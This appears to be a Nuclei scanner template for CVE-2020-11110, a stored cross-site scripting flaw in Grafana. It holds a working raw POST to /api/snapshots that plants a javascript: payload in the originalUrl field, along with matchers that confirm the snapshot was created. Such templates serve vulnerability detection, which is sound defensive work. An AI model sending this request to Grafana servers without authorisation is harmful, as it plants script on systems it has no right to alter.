69 lines
3.0 KiB
YAML
69 lines
3.0 KiB
YAML
id: CVE-2020-11110
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info:
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name: Grafana <= 6.7.1 - Cross-Site Scripting
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author: emadshanab
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severity: medium
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description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
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remediation: This issue can be resolved by updating Grafana to the latest version.
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reference:
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- https://github.com/grafana/grafana/pull/23254
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- https://security.netapp.com/advisory/ntap-20200810-0002/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
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- https://hackerone.com/reports/1329433
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- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cve-id: CVE-2020-11110
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cwe-id: CWE-79
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epss-score: 0.00512
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epss-percentile: 0.76153
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cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: grafana
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product: grafana
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shodan-query: title:"Grafana"
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tags: cve2020,cve,xss,grafana,hackerone
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http:
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- raw:
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- |
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POST /api/snapshots HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json, text/plain, */*
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Accept-Language: en-US,en;q=0.5
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Referer: {{BaseURL}}
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content-type: application/json
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Connection: close
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{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- application/json
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- type: word
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part: body
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words:
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- '"deleteKey":'
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- '"deleteUrl":'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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group: 1
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regex:
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- '"url":"([a-z:/0-9A-Z]+)"'
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part: body
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# digest: 4a0a00473045022021b6939d7c4f18670f5cfbecf32c9400a0ac40797210b7923b1482ee03d5bd7f022100d3e65ba752e30627bb4863fb86f4f76bf9243584e945797fb814a8b3bcf66919:922c64590222798bb761d5b6d8e72950 |